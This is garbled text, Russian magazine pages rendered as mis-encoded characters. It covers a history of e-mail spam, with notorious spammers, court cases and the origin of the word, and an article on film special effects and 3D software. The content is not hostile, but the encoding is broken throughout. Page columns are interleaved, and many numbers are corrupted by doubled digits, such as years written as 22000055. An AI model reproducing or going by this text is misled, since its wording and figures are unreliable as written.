ñïàìà â òî âðåìÿ åùå íå âñòóïèë â ñèëó, Êàðìàêà ñóäèëè çà ôàëüñèôèêàöèþ äîêóìåíòîâ è âïàÿëè 
ìàêñèìàëüíî âîçìîæíûé ñðîê � 7 ëåò.

àíòèñïàìîâîå
ðåøåíèå
îò Ëàáîðàòîðèè

Êàñïåðñêîãî
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Detroit News, êîòîðîå áûëî îïóáëèêîâàíî íà ïî-
ïóëÿðíîì êîìïüþòåðíîì ïîðòàëå Slasdot. Ðàñ-
ñóæäåíèÿ ñïàìåðà âûçâàëè âîëíó âîçìóùåíèÿ ó
÷èòàòåëåé, è íàðîä ðåøèë ñêîðìèòü «áèçíåñìå-
íó» åãî æå òîâàð. Îäèí èç ïîñòîÿííûõ ïîñåòèòå-
ëåé ïîðòàëà îòûñêàë ðåàëüíûé ïî÷òîâûé àäðåñ
Ðàëüñêîãî è çàïîñòèë åãî íà Ñëýøäîòå. Ïîñëå
ýòîãî òûñÿ÷è êîìïüþòåðùèêîâ îòïðàâèëèñü èñ-
êàòü â Ñåòè ôèðìû, ðàññûëàþùèå áóìàæíûå
ðåêëàìíûå ðàññûëêè, áåñïëàòíûå êàòàëîãè è
ïðî÷óþ ìàêóëàòóðó. Â ãðàôå «êîìó» îíè ââîäèëè
àäðåñ Àëàíà, è âñå ýòî äîáðî íåïðåðûâíûì ïîòî-
êîì ñâàëèëîñü íà ñïàìåðà. «Ýòè ëþäè ñîøëè ñ
óìà! Îíè ïîäïèñàëè ìåíÿ íà âñå áåñïëàòíûå ðàñ-
ñûëêè â ýòîì ãðåáàíîì ìèðå», � ïîæàëîâàëñÿ
æóðíàëèñòàì Àëàí. Íî ñàì ïðîäîëæàë ðàñïðîñò-
ðàíÿòü ìèëëèàðäû ìåññàã ïî âñåìó Èíòåðíåòó.
Â ñåíòÿáðå 22000055 ãîäà ÔÁÐ íàíåñëà âèçèò â
äîì 6600-ëåòíåãî Àëàíà Ðàëüñêè è êîíôèñêîâàëà
âñþ êîìïüþòåðíóþ òåõíèêó, âêëþ÷àÿ íåñêîëüêî
ìîùíûõ ñåðâåðîâ, ôèíàíñîâûå äîêóìåíòû è âñå
äðóãèå âåùè, êîòîðûå óêàçûâàëè íà ñïàìåðñêóþ
äåÿòåëüíîñòü. Êîîðäèíèðîâàíèå âñåõ îïåðàöèé

ïðîèñõîäèëî èìåííî òàì, òàê êàê Ðàëüñêè êîíò-
ðîëèðîâàë îêîëî 220000 ìåéë-ñåðâåðîâ, êàæäûé
èç êîòîðûõ ìîã îòïðàâëÿòü 665500 òûñÿ÷ ðåêëàì-
íûõ ïèñåì â ÷àñ. Êîðîëü ñïàìà íå ðàñêàèâàëñÿ â
ñâîèõ äåéñòâèÿõ: «ß íå ñïàìåð, ÿ áèçíåñìåí â
îáëàñòè ýëåêòðîííîé ðåêëàìû». Òåì íå ìåíåå,
ïîæèëîìó áèçíåñìåíó ïî çàêîíàì Øòàòîâ, ãäå
çàïðåùåíà íåæåëàòåëüíàÿ ðàññûëêà, ãðîçèò äî
2200 ëåò òþðüìû è 1111òûñÿ÷ äîëëàðîâ øòðàôà çà
êàæäîãî þçåðà, êîòîðîìó îí óñïåë íàâðåäèòü.

ÂÀÐÄÀÍ ÊÊÓØÍÈÐ
Àðìÿíèí, àâòîð èçâåñòíîãî â ðóíåòå ñïàìà îò
«Öåíòðà èçó÷åíèÿ Àìåðèêàíñêîãî àíãëèéñêîãî».
Ñ 22000033 ïî 22000044 ãîäà ïðåäëîæåíèå èçó÷èòü
ÿçûê ïîëó÷èëè áîëåå 2255 ìèëëèîíîâ ÷åëîâåê â
Ðîññèè, Óêðàèíå, Èçðàèëå è äàæå ÑØÀ, ïðè÷åì
ïèñüìà ïîñòóïàëè ðåãóëÿðíî è â âèäîèçìåíåí-
íîé ôîðìå. Öåíòð èçó÷åíèÿ àíãëèéñêîãî íàñ-
òîëüêî âûâåë èç ñåáÿ ðóíåò÷èêîâ, ÷òî íà áîðüáó
ñî ñïàìåðîì âûøëè òûñÿ÷è ëþäåé. Îäíè äåëà-
ëè ýòî, íàçâàíèâàÿ ïî îñòàâëåííîìó â ïèñüìàõ
òåëåôîíó è èíòåðåñóÿñü îäíèìè è òåìè æå ïîä-

ðîáíîñòÿìè (îò ýòèõ  ðàçãíåâàííûõ çâîíêîâ øåë
îñíîâíîé äîõîä Êóøíèðó, òàê êàê îñòàâëåííûé
òåëåôîííûé íîìåð áûë ïëàòíûì. Â ñðåäíåì
ñïàìåð ïîëó÷àë 1100 òûñÿ÷ äîëëàðîâ â ìåñÿö),
äðóãèå ïðîâîäèëè DDoS-àòàêè íà ñàéò êîíòîðû.
Ïðîòèâ Öåíòðà âûñòóïèëè äàæå âëàñòè. Çàïè-
ñàííîå îáðàùåíèå ìèíèñòðà ñâÿçè Àíäðåÿ Êî-
ðîòêîâà ñ òðåáîâàíèåì ïðåêðàòèòü ðàññûëêó,
ïðîâàéäåð Golden Telecom íåïðåðûâíî ïðîêðó-
÷èâàë ïî òåëåôîííîé ALC-ëèíèè, ïîäêëþ÷åííî-
ãî ê íåìó Öåíòðà. Èç-çà äåéñòâèé ãëàâíîãî ñïà-
ìåðà Ðîññèè íåêîòîðûå çàðóáåæíûå ìåéë-ñåð-
âåðû áëîêèðîâàëè ïîñòóïëåíèå ëþáûõ ïèñåì èç
äîìåíà.ru, ÷òî ñäåëàëî íåâîçìîæíûì ïåðåïèñêó
ëþäåé, æèâóùèõ â ðàçíûõ ñòðàíàõ.
2244 èþëÿ 22000055 ãîäà ìåðòâîå òåëî Âàðäàíà
Êóøíèðà íàøëè â åãî òðåõêîìíàòíîé êâàðòèðå
â öåíòðå Ìîñêâû. Ýêñïåðòèçà ïîêàçàëà, ÷òî
ñïàìåð óìåð â ðåçóëüòàòå íåñêîëüêèõ ñèëüíûõ
óäàðîâ ïî ãîëîâå. Îôèöèàëüíàÿ âåðñèÿ ìèëè-
öèè áûëà òàêîé: Êóøíèð ïîñòðàäàë â ðåçóëüòà-
òå ïîïûòêè îãðàáëåíèÿ. Íàñòîÿùàÿ ïðè÷èíà îñ-
òàëàñü íåèçâåñòíîé

Â 70-õ ãîäàõ çâåçäíûé
÷àñ ïðîäóêöèè Hornel çà-
êîí÷èëñÿ, íà÷àëàñü ýðà
êîìïüþòåðíûõ ñåòåé.
Ìíîãèå ñ÷èòàþò, ÷òî
ïðàðîäèòåëåì êîìïüþ-
òåðíîãî ñïàìà ñòàëî
àãåíòñòâî ARPA, êîòî-
ðîå ðàññûëàëî ïî Arpa-
net ðàçíóþ òåõíè÷åñêóþ
èíôîðìàöèþ, èíòåðåñ-
íóþ äàëåêî íå âñåì. Íî
òîãäà ýòî áûëè ïðîñòî
ïèñüìà, êîòîðûå âîñïðè-
íèìàëèñü âïîëíå íîð-
ìàëüíî è íå íîñèëè «ïè-
ùåâîãî» íàçâàíèÿ.

Â 1986 ãîäó â êîíôå-
ðåíöèÿõ Usenet ïîÿâè-
ëîñü ìíîæåñòâî îäèíà-
êîâûõ ñîîáùåíèé îò
íåêîåãî Äýéâà Ðîäåñà,
êîòîðûé ðåêëàìèðîâàë
íîâóþ ôèíàíñîâóþ ïè-
ðàìèäó. Òîïèê ãëàñèë:
«Çàðàáîòàé áûñòðî êó-
÷ó äåíåã», à â ïèñüìàõ
ñîäåðæàëàñü èíñòðóê-
öèÿ, êàê ýòî ñäåëàòü.
Äýéâ ñ çàâèäíûì óïîð-
ñòâîì ïðîäîëæàë äóá-
ëèðîâàòü ñâîè òåêñòû,
è îíè íàñòîëüêî ïðèå-
ëèñü ïîäïèñ÷èêàì, ÷òî
èõ ñòàëè ñðàâíèâàòü ñ
âåçäåñóùèìè â 40-õ ãî-
äàõ êîíñåðâàìè SPAM.

Íî ïî-íàñòîÿùåìó ïîïó-
ëÿðíûì ñðåäè êîìïüþ-
òåðùèêîâ ñëîâî ñòàëî â
1993 ãîäó, êîãäà Ðè÷àðä
Äåïüþ íàïèñàë ïðîã-
ðàììó äëÿ àâòîìàòè-
÷åñêîãî ìîäåëèðîâàíèÿ
êîíôåðåíöèé Usenet, 
è èç-çà îøèáêè â êîäå
îíà âìåñòî óäàëåíèÿ
îäíîãî ñîîáùåíèÿ ïðî-
äóáëèðîâàëà åãî 200
ðàç â news.admin.policy
newsgroup. Ñâàëèâøèå-
ñÿ â áîëüøèõ êîëè÷åñò-
âàõ ïèñüìà îêðåñòèëè
ñïàìîì, è ÷åðåç íåñ-
êîëüêî ëåò, êîãäà ýòî
ÿâëåíèå ñòàëî ÷àñòûì,
ñëîâî ïðî÷íî çàíÿëî
ñâîå ìåñòî â êîìïüþ-
òåðíîì ëåêñèêîíå.

Ñëîâî SPAM ïîÿâèëîñü
â äàëåêîì 1937 ãîäó â
ðåçóëüòàòå êîíêóðñà íà
ëó÷øåå íàçâàíèå äëÿ
íîâûõ ñâèíûõ êîíñåðâîâ
êîìïàíèè Hornel Foods.
Çâó÷íóþ ôðàçó Shoulder
of Pork and íAM («ñâè-
íûå ëîïàòêè è îêîðîêà»)
ïðåäëîæèë àêòåð Êåí-
íåò Äåéíüþ, áðàò âèöå-
ïðåçèäåíòà êîìïàíèè,
êîòîðûé è âûèãðàë ïðèç
â $100. Êîíñåðâû áûëè
âêóñíûìè, ïèòàòåëüíû-
ìè è, ÷òî íåìàëîâàæíî
äëÿ òîãî âðåìåíè, äåøå-
âûìè. Íåóäèâèòåëüíî,
÷òî î÷åíü áûñòðî îíè
ñòàëè ÷óòü ëè íå íàöèî-
íàëüíûì áëþäîì Àìå-
ðèêè. Èç ñïàìà ìîæíî
áûëî ïðèãîòîâèòü ñîò-
íè ðàçíûõ áëþä, è êîì-
ïàíèÿ Hornel Foods  �
âìåñòå ñ îáèëüíîé ðåê-
ëàìîé � ïîñòîÿííî ïîä-
êèäûâàëà íîâûå ðåöåï-
òû. Æèòåëè äðóãèõ ñòðàí
ïîäòðóíèâàëè íàä íîâîé
ïèùåâîé ëþáîâüþ àìå-
ðèêàíöåâ, à èçâåñòíûé
áðèòàíñêèé Âîçäóøíûé
öèðê Ìîíòè Ïàéòîíà äà-
æå âûïóñòèë ñåðèþ
ñêåò÷åé ïîä íàçâàíèåì
spam, spam, spam. Â íåì
ïîêàçûâàëàñü àìåðèêà-
íñêàÿ ïàðà, çàøåäøàÿ â
ðåñòîðàí ïîåñòü, íî, ÷òî
áû îíè íå çàêàçûâàëè,
âñå áëþäà îêàçûâàëèñü
ïî-ðàçíîìó îôîðìëåí-
íûìè êîíñåðâàìè SPAM.

24 îêòÿáðÿ 2003 ãîäà îê-
ðóæíîé ñóä Ñàíòà-Êëàðû
(Êàëèôîðíèÿ) îáÿçàë
äâóõ ìîëîäûõ ëþäåé
âûïëàòèòü øòðàô â ðàç-
ìåðå äâóõ ìèëëèîíîâ
äîëëàðîâ çà íåçàêîí-
íóþ ðàññûëêó ðåêëàì-
íûõ ñîîáùåíèé.

4 íîÿáðÿ 2004 ãîäà çà
ìíîãî÷èñëåííûå íàðó-
øåíèÿ Can Spam Act
ñóä ïðèãîâîðèë Äæå-
ðåìè Äæåéìñà, îäíîãî
èç ñàìûõ âëèÿòåëüíûõ
ñïàìåðîâ â Èíòåðíå-
òå, ê 9 ãîäàì òþðåìíî-
ãî çàêëþ÷åíèÿ.

Áèëë Ãåéòñ � 
ÿðûé áîðåö ñî ñïàìîì

S
P

A
M

 TT
IM

E
LI

N
E

 |
D

A
T

E
S

&
E

V
E

N
T

S





Â ÄÅÒÑÒÂÅ, ÊÎÃÄÀ Ó ÌÅÍß ÂÏÅÐÂÛÅ ÏÎßÂÈËÑß ÂÈÄÀÊ, ß ÏÅÐÅÑÌÎÒÐÅË ÊÓ×Ó ÔÈËÜÌÎÂ ÂÑÅÕ ÃÎÄÎÂ È ÆÀÍ-
ÐÎÂ. ÎÑÎÁÛÕ ÂÏÅ×ÀÒËÅÍÈÉ ÎÍÈ Ó ÌÅÍß ÍÅ ÎÑÒÀÂÈËÈ, È ÑÅÉ×ÀÑ ß ÄÀÆÅ ÍÅ ÌÎÃÓ ÂÑÏÎÌÍÈÒÜ ÍÀÇÂÀÍÈß
ÁÎËÜØÈÍÑÒÂÀ. ÅÄÈÍÑÒÂÅÍÍÀß ÊÀÐÒÈÍÀ, ÊÎÒÎÐÀß ÒÂÅÐÄÎ ÇÀÑÅËÀ Ó ÌÅÍß Â ÏÀÌßÒÈ, � ÌÀÒÐÈÖÀ. ÔÈËÜÌÅÖ
ÌÅÍß, ÏÎÌÍÈÒÑß, ÄÅÉÑÒÂÈÒÅËÜÍÎ ÂÏÅ×ÀÒËÈË, È ÍÅ ÏÎÑËÅÄÍÞÞ ÐÎËÜ Â ÝÒÎÌ ÑÛÃÐÀËÈ ÑÏÅÖÝÔÔÅÊÒÛ.
ÊÀÊ ÎÍÈ ÝÒÎ ÄÅËÀÞÒ? ÒÎËÜÊÎ ÑÅÉ×ÀÑ ß ÓÇÍÀË ÎÒÂÅÒ ÍÀ ÝÒÎÒ ÂÎÏÐÎÑ | Äìèòðèåâ Äàíèë aka xbit(stream@oskolnet.ru 3344-37-228)

[ïðîöåññ] Áåç ñïåöýôôåêòîâ íå îáõîäèòñÿ ïðàêòè÷åñêè íè îäèí ñîâðå-
ìåííûé ôèëüì. Âçÿòü äàæå «Òðîþ» èëè ëþáîé äðóãîé èñòîðè÷åñêèé
ôèëüì. Êàçàëîñü áû, êóäà òàì ñîâðåìåííûì òåõíîëîãèÿì, âåäü ñîáûòèÿ
â ôèëüìå ïðîèñõîäÿò â III âåêå äî íàøåé ýðû. Íî òûñÿ÷è ëåãèîíåðîâ �
ýòî íå îãðîìíàÿ ìàññîâêà àêòåðîâ, à ìîäåëè íàðèñîâàííûå õóäîæíèêîì.
Òàê æå êàê è òó÷è ñòðåë, êîòîðûìè óñûïàëè êðåïîñòü âî âðåìÿ îñàäû.
Ïåðåä ñúåìêîé êàðòèíû ðåæèññåð êîíñóëüòèðóåòñÿ ñ êîìàíäîé ñïåöîâ-
àíèìàòîðîâ è âíîñèò äîïîëíåíèÿ â ñöåíàðèé òàêèì îáðàçîì, ÷òîáû òåõ-
íèêè ìîãëè êà÷åñòâåííî ñêëåèòü ðåàëüíûé êàäð ñ íàðèñîâàííîé ìî-
äåëüþ. Âîïðåêè ïîïóëÿðíîìó ìíåíèþ, ñïåöýôôåêòû ðàçðàáàòûâàþòñÿ
óæå ïîñëå ñúåìîê êàðòèíû, êîãäà ñòàíîâèòñÿ ÿñíî, ÷òî âñå îòñíÿòîå �
ôèíàëüíûé âàðèàíò. Äàëåå íà÷èíàåòñÿ ïîèñê êîìïàíèè, ñïîñîáíîé ïðî-
ðàáîòàòü ðàçíûå ýïèçîäû ôèëüìà. Ïðè âûáîðå êàíäèäàòîâ ó÷èòûâàþò-
ñÿ òàêèå ôàêòîðû, êàê ñòîèìîñòü è ïðîäîëæèòåëüíîñòü ðàçðàáîòêè ýô-
ôåêòà, à òàêæå êà÷åñòâî ïðîäåëàííîé ðàáîòû àíèìàòîðîì ðàíåå. Â ñëó-
÷àå, åñëè ïîäæèìàþò ñðîêè è ñúåìî÷íàÿ ãðóïïà íå óêëàäûâàåòñÿ â ñðîê,
íàíÿòü ìîãóò ñðàçó íåñêîëüêî êîìïàíèé. Òàê ÷òî ïîëó÷àåòñÿ, ÷òî íàä îä-
íèì ýïèçîäîì èëè äàæå äåòàëüþ òðóäÿòñÿ äåñÿòêè ëþäåé èç ðàçíûõ ãî-
ðîäîâ è ñòðàí. Èìåÿ õîðîøèé áþäæåò äëÿ ôèëüìà, ðåæèññåð ìîæåò ïîç-
âîëèòü ñåáå íàíÿòü ïðîôåññèîíàëîâ â ñòðîãî îïðåäåëåííûõ îáëàñòÿõ
àíèìàöèè. Íî ýòî íå çíà÷èò, ÷òî ñîçäàòåëè ôèëüìîâ ëþáÿò âûêèäûâàòüÞ
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äåíüãè íà ñïåöýôôåêòû. Ìíîãèå ñ÷èòàþò, ÷òî â ôèëüìå âñå äîëæíî
áûòü êàê ìîæíî ðåàëüíåå, ñ ìèíèìàëüíûì âìåøàòåëüñòâîì êîìïüþòåð-
íîé òåõíèêè. «Äåøåâëå è ðåàëèñòè÷íåå» � âîò ôèëîñîôèÿ ñîâðåìåí-
íûõ ðåæèññåðîâ, êîòîðóþ îíè óíàñëåäîâàëè îò ñâîèõ «ó÷èòåëåé».
Âñïîìíè ôèëüì «Óíåñåííûå âåòðîì», ñöåíó ñ ðàíåíûìè íà ïîëå áîÿ.
Òûñÿ÷è áîéöîâ íà çàäíåì ïëàíå � ýòî íå àêòåðû è íå ãðàôèêà, à îáû÷-
íûå êóêëû. Íàðèñîâàòü ìîäåëü, èäåíòè÷íóþ îðèãèíàëó, òåì áîëåå, åñëè
ðå÷ü èäåò î ÷åëîâåêå � íåâåðîÿòíî ñëîæíî, ïîýòîìó êèíîøíèêè ïðèäó-
ìûâàþò ðàçíûå óõèùðåíèÿ. Íàïðèìåð, íà ñúåìêàõ ôèëüìà «Ãèáåëü Èì-
ïåðèè» áûëà ñöåíà, êîãäà ãëàâíîìó ãåðîþ ñíèòñÿ ãðîìàäíûõ ðàçìåðîâ
êàðï. Êîìàíäà îòëîâèëà íàñòîÿùåãî êàðïà è ïóñòèëà åãî â àêâàðèóì.
Ïîñóäèíó ñ æèâîé ðûáîé ðàñïîëîæèëè ìåæäó ãåðîåì è êàìåðîé, â ðå-
çóëüòàòå ÷åãî ïîëó÷èëñÿ íóæíûé ýôôåêò óâåëè÷åíèÿ. Ïðàâäà, çàñòàâèòü
êàðïà äâèãàòüñÿ ïî çàäóìàííîé òðàåêòîðèè òàê è íå ïîëó÷èëîñü �
ïðèøëîñü ïóñòèòü â õîä ìîíòàæ. Íî ïðîáîâàëè äî ïîñëåäíåãî, ðåæèññåð
è âñÿ êîìàíäà áîÿëèñü, ÷òî êîìïüþòåðùèêè íå ñìîãóò óáåäèòü çðèòåëåé
â ïîäëèííîñòè ðûáèíû. Èëè îòãðåìåâøèé ôèëüì «Íî÷íîé Äîçîð». Â
íåì åñòü èíòåðåñíàÿ ñöåíà, ãäå èç âîðîí îáðàçóåòñÿ âèõðü âîêðóã ïîåç-
äà. Â ýòîé ñöåíå íåò íè îäíîãî íàñòîÿùåãî êàäðà, à åå ïîäãîòîâêà çàíÿ-
ëà î÷åíü ìíîãî âðåìåíè. Ïðîáëåìîé áûëè ñàìè âîðîíû. Ïåðåä FX-êî-
ìàíäîé ïîñòàâèëè ÷åòêóþ öåëü � ñäåëàòü òàê, ÷òîáû âîðîíû ëåòàëè êàê
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Êàê ñîçäàþò ñïåöýôôåêòû?

Òåõíîëîãèè ííà ññëóæáå ÃÃîëëèâóäà



ýêðàíå ýòî ñìîòðåëîñü ìàêñèìàëüíî ðåàëèñòè÷íî. Òåì áîëåå êàìåð èñ-
ïîëüçîâàëîñü íå òàê ìíîãî, òàê êàê ïðîöåññ ïðîñ÷åòà èçîáðàæåíèÿ ñ
ðàçíûõ ðàêóðñîâ áûë öåëèêîì âîçëîæåí íà êîìïüþòåð.
Êðîìå ñöåíû äðàêè, âñåì çàïîìíèëèñü ýïèçîäû ñ çàìåäëåíèåì òðàåê-
òîðèè ïóëü. Ýòîò ýôôåêò ïîëó÷èë íàçâàíèå Bullet time, è ïîñëå âûõîäà
ôèëüìà áûë âçÿò íà âîîðóæåíèå ìíîãèìè ðåæèññåðàìè è ñîçäàòåëÿìè
ñïåöýôôåêòîâ. Èäåÿ ïðèíàäëåæàëà ìèñòåðó Äæîíó Ãàåòå, èçâåñòíîìó
ïî ðàáîòå íàä âèçóàëüíûìè ýôôåêòàìè â êàðòèíå «Êàêèå áûâàþò ìå÷-
òû». Ôèëüì äàæå ïîëó÷èë Îñêàðà â 1998 ãîäó çà ñïåöýôôåêòû. Îí æå
ïîñòàâèë ãðàíäèîçíóþ ñöåíó ñðàæåíèÿ ìàøèí è ëþäåé â Çèîíå, áëàãî-
äàðÿ êîòîðîé óäîñòîèëñÿ åùå îäíîãî Îñêàðà â 2000-ì ãîäó.
Ïîìèìî Bullet time, åñòü è äðóãèå òåõíîëîãèè, ñòàâøèå ñòàíäàðòîì äå-
ôàêòî. Òàêèå êàê Digital Compositing (ìîäåëü ñîáèðàåòñÿ èç ìíîæåñòâà
èçîáðàæåíèé, ñäåëàííûõ ñ ðàçíûõ ðàêóðñîâ), Dolly zoom (ýôôåêò ðåçêî-
ãî èçìåíåíèÿ ðàçìåðà èçîáðàæåíèÿ, ïðèäóìàííûé Ðîáåðòñîì Èðìå-
íîì), Optical effect (îñâåùåíèå, óâåëè÷åíèå, ðàçìûòîñòü, èñ÷åçàþùèå
îáúåêòû), à òàêæå ìíîãèå äðóãèå, êîòîðûå ñ ðàçíîé ÷àñòîòîé ïîâòîðÿþò-
ñÿ â ðàçíûõ ôèëüìàõ. Íîâûå ýôôåêòû îáû÷íî ðàçðàáàòûâàþòñÿ äëÿ
áþäæåòíûõ ôèëüìîâ, è ñòîÿò òàêèå ðàçðàáîòêè íåäåøåâî. Íàïðèìåð, íà
ñîçäàíèå ñïåöýôôåêòîâ êî âòîðîé «Ìàòðèöå» áûëî ïîòðà÷åíî 100 ìèë-
ëèîíîâ äîëëàðîâ! Íî äàæå ðåàëèçàöèÿ ñòàíäàðòíîãî ýôôåêòà ìîæåò
âëåòåòü â êîïåå÷êó, îñîáåííî ýòî êàñàåòñÿ âçðûâîâ � ñàìûõ äîðîãèõ è
ñëîæíûõ ýëåìåíòîâ 3D. Ëüâèíóþ äîëþ áþäæåòà ñîâðåìåííûõ áîåâèêîâ
«êóøàåò» èìåííî ìîäåëèðîâàíèå âçðûâîâ, íå áóäóò âåäü ïèðîòåõíèêè
âçðûâàòü ëèìóçèí ïðÿìî â öåíòðå Íüþ-Éîðêà.

[èíñòðóìåíòû FX-ìåéêåðà] Ïîñëå òîãî êàê ñúåìêè ïîäîøëè ê êîí-
öó, âåñü îòñíÿòûé ìàòåðèàë ïðîñìàòðèâàåòñÿ ðåæèññåðîì è äåëèòñÿ
íà ýïèçîäû ïðîäîëæèòåëüíîñòüþ îò íåñêîëüêèõ ñåêóíä äî äåñÿòêîâ
ìèíóò. Ýòî ñäåëàíî äëÿ óäîáñòâà ðåäàêòèðîâàíèÿ è íàëîæåíèÿ ñïå-
öýôôåêòîâ � ðåñóðñîâ êîìïà ìîæåò ïîïðîñòó íå õâàòèòü äëÿ ðàáîòû
ñ öåëüíûì ìàòåðèàëîì. Çàòåì, ñîáñòâåííî, è íà÷èíàåòñÿ ìîíòàæ. Ñíà-
÷àëà ãðóçèòñÿ ïåðâûé êóñîê, è ðåæèññåð íà÷èíàåò ðàáîòàòü ñ íèì: íàê-
ëàäûâàòü óæå ãîòîâûå ýôôåêòû èëè ïðÿìî â êàäðå äåëàòü íîâûé. Â

íàñòîÿùèå. Ïðîðàáàòûâàëàñü êàæäàÿ äåòàëü. Ðåæèññåð ïîñòîÿííî ê ÷å-
ìó-òî ïðèäèðàëñÿ, äàæå ê ñêîðîñòè, ñ êîòîðîé ïòèöû ìàõàëè êðûëüÿìè.
Ìîë, âîðîíû òàê íå ëåòàþò. Â êèíî ìåëî÷åé íå áûâàåò, òåì áîëåå, êîã-
äà ðå÷ü èäåò î ïåðâîì ïëàíå.
Áûâàþò è òàêèå ñèòóàöèè, êîãäà ñìîäåëèðîâàòü íàäî öåëûé ãîðîä.
Âñïîìíè òó æå «Ìàòðèöó», ñöåíó, êîãäà Íåî âïåðâûå óâèäåë, êàê âûðà-
ùèâàþò ëþäåé. Âñå ýòî ÷èñòîé âîäû ãðàôèêà, à íå äåêîðàöèè, òî æå ñà-
ìîå êàñàåòñÿ ââîäíîãî êóðñà Ìîðôåÿ. Íàä ýòèìè ñöåíàìè ïîòåëè ëó÷-
øèå 3D-õóäîæíèêè Ãîëëèâóäà. Äëÿ ïåðâîé ÷àñòè «Ìàòðèöû» áûëî ðàç-
ðàáîòàíî îêîëî 400 ñïåöýôôåêòîâ, äëÿ âòîðîé è òðåòüåé � íàìíîãî
áîëüøå. Åñëè ãîâîðèòü î âòîðîì ôèëüìå, òî ñàìàÿ èíòåðåñíàÿ ñöåíà �
ýòî áèòâà Íåî ñ äâîéíèêàìè àãåíòà Ñìèòà. Íà ñàìîì äåëå, àêòåð, èãðà-
þùèé Ñìèòà, áûë îäèí, âñå îñòàëüíûå � ãðóïïà ñòàòèñòîâ â îäèíàêî-
âûõ êîñòþìàõ. Âïîñëåäñòâèè ïðè ïîìîùè ìîíòàæà ëèöà àêòåðîâ çàìå-
íèëè íà ôèçèîíîìèè ãëàâíîãî çëûäíÿ. Ñúåìêà ýïèçîäà äåëèëàñü íà òðè
ýòàïà. Ïåðâûé � ñàì áîé, òî åñòü õîðåîãðàôèÿ. Èìåííî íà ýòè êàäðû
ïîçæå íàëîæàò êîìïüþòåðíóþ ãðàôèêó. Äàëåå èäåò ïðîöåññ îöèôðîâêè
ðåàëüíûõ àêòåðîâ ñ èñïîëüçîâàíèåì ÷óâñòâèòåëüíîé òåõíèêè. Êàæäîå
äâèæåíèå, êàæäîå ñîêðàùåíèå ìûøö çàïèñûâàåòñÿ ñòðîãî áåç îáðàáîò-
êè. Äëÿ òîãî ÷òîáû õóäîæíèêè ìîãëè çàìåíèòü ëèöà ñòàòèñòîâ íà ëèöî
Ñìèòà, áûëî ïðîèçâåäåíî ëàçåðíîå ñêàíèðîâàíèå ðåëüåôà ìûøö. Îòñ-
ëåæèâàëîñü âñå, ëþáîå äâèæåíèå çàïèñûâàëîñü «â öèôðó», ÷òîáû íà

îí æå, íî òîëüêî â 3D-ïàêåòå

ÍÀØÈ ÍÍÀ FFX-ÑÑÖÅÍÅ
Íåñìîòðÿ íà òî, ÷òî ðàññàäíèê ñïåöýôôåêòîâ íàõîäèòñÿ
â Ãîëëèâóäå, â íàøåé ñòðàíå òîæå åñòü ëþäè, ñïîñîáíûå
òâîðèòü ÷óäåñà. Âîò ëèøü íåñêîëüêî èìåí.
Àðêàäèé Äóáèíèí. Ïî îáðàçîâàíèå ïðîãðàììèñò. Â 1993 ãîäó
ó÷àñòâîâàë â ñîçäàíèè ñïåöýôôåêòîâ ê ôèëüìó Íèêèòû Ìè-
õàëêîâà «Óòîìëåííûå ñîëíöåì». Â 2001 ãîäó áûë îäíèì èç
íåçàâèñèìûõ ñóïåðâàéçåðîâ ýôôåêòîâ ê ôèëüìó «Äàæå íå
äóìàé!». Ðàáîòàë íàä òàêèìè èçâåñòíûìè êàðòèíàìè, êàê
«Ôàíàò», «Äåòè Àðáàòà», «Íî÷íîé Äîçîð», «Ëè÷íûé íîìåð».
Àíäðåé Íàçàðîâ. Ðàáîòàë íà ñòóäèè Objective Music, çà-
òåì óøåë â Îñòàíêèíî íà äîëæíîñòü çâóêîðåæèññåðà. 
Ñ 2000 ãîäà íà÷àë àêòèâíîå ñîòðóäíè÷åñòâî ñ òåëåêîìïà-
íèåé «Âèä». Ðåçóëüòàò � ïðîåêò «Ïîñëåäíèé ãåðîé».
Ìèõàèë Àðàíûøåâ. Ñîòðóäíèê êèíîñòóäèè «Êàçàõ-
ôèëüì». Îäèí èç ëó÷øèõ íàøèõ ñïåöèàëèñòîâ â îáëàñòè
êèíîïðîèçâîäñòâà è êèíîîáðàáîòêè.
Àëåêñàíäð Ãîðîõîâ. Ïðîäþñåð âèçóàëüíûõ ýôôåêòîâ, 
ñóïåðâàéçåð ôèëüìà «Íî÷íîé Äîçîð».

«Ãîðîä ìóäðåöîâ», ñìîäåëèðîâàííûé â 3D

èíòåðôåéñ 
3D Studio Max
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äóìàåøü, ëåãêî
íàðèñîâàòü òàêóþ?



ïîñëåäíåì ñëó÷àå îñòðî âñòàåò ïðîáëåìà ïðîèçâîäèòåëüíîñòè. Ïðîã-
ðàììû, ïðåäíàçíà÷åííûå äëÿ ðàáîòû ñ 3D, æàäíûå äî ðåñóðñîâ êîì-
ïà, íå ãîâîðÿ óæå î ìîùíîñòÿõ, êîòîðûå ïîòðåáóþòñÿ äëÿ ïðîñ÷åòà
òðåõìåðíûõ ìîäåëåé. Âåðíåìñÿ ê ýïèçîäó ñ âîðîíàìè èç «Íî÷íîãî äî-
çîðà». Ñòîèò ïîìåíÿòü òðàåêòîðèþ ïîëåòà õîòÿ áû îäíîé ïòèöû, è áëè-
æàéøèå ÷àñ-ïîëòîðà ïðèäåòñÿ ïðîâåñòè çà îæèäàíèåì îêîí÷àíèÿ ðàñ-
÷åòîâ è âñòóïëåíèÿ èçìåíåíèé â ñèëó. Òàê ÷òî äëÿ ðàáîòû FX-ìåéêåðà
òåðïåíèå � î÷åíü ïîëåçíîå êà÷åñòâî.
Ñàìîé ïîïóëÿðíîé ïðîãðàììîé äëÿ âèäåîìîíòàæà ÿâëÿåòñÿ 3D Studio
Max. Â íåé ìîæíî ñäåëàòü âñå, ÷òî óãîäíî. Ëþáîé ýôôåêò, ëþáóþ àíè-
ìàöèþ � ñòóäèÿ Ìàêñ äàåò ðàçðàáîò÷èêàì áåçãðàíè÷íûå âîçìîæíîñ-
òè. Ñòîèò ïðîãðàììíûé ïàêåò íåäåøåâî � $3000. Íî çà ïðîôåññèî-
íàëüíûé èíñòðóìåíò è öåíà ïðîôåññèîíàëüíàÿ. Êàê ýòî ïðîèñõîäèò
èçíóòðè? Äàâàé ïîñìîòðèì.
Ãëàâíîå îêíî ïðîãðàììû ðàçäåëåíî íà ÷åòûðå ÷àñòè � ïðîåêöèè. 
Â êàæäîé èç íèõ ïîêàçàí îáúåêò â ðàçíûõ èçìåðåíèÿõ. Òàê õóäîæíèêó
ëåã÷å îðèåíòèðîâàòüñÿ è èñïðàâèòü íåäî÷åòû. Ñîçäàíèå ñïåöýôôåêòà
